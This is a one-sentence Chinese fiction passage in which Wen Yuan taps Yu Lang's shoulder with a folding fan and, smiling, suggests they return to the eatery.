温沅用折扇敲了敲余浪的肩膀，笑笑：“走，回食肆。”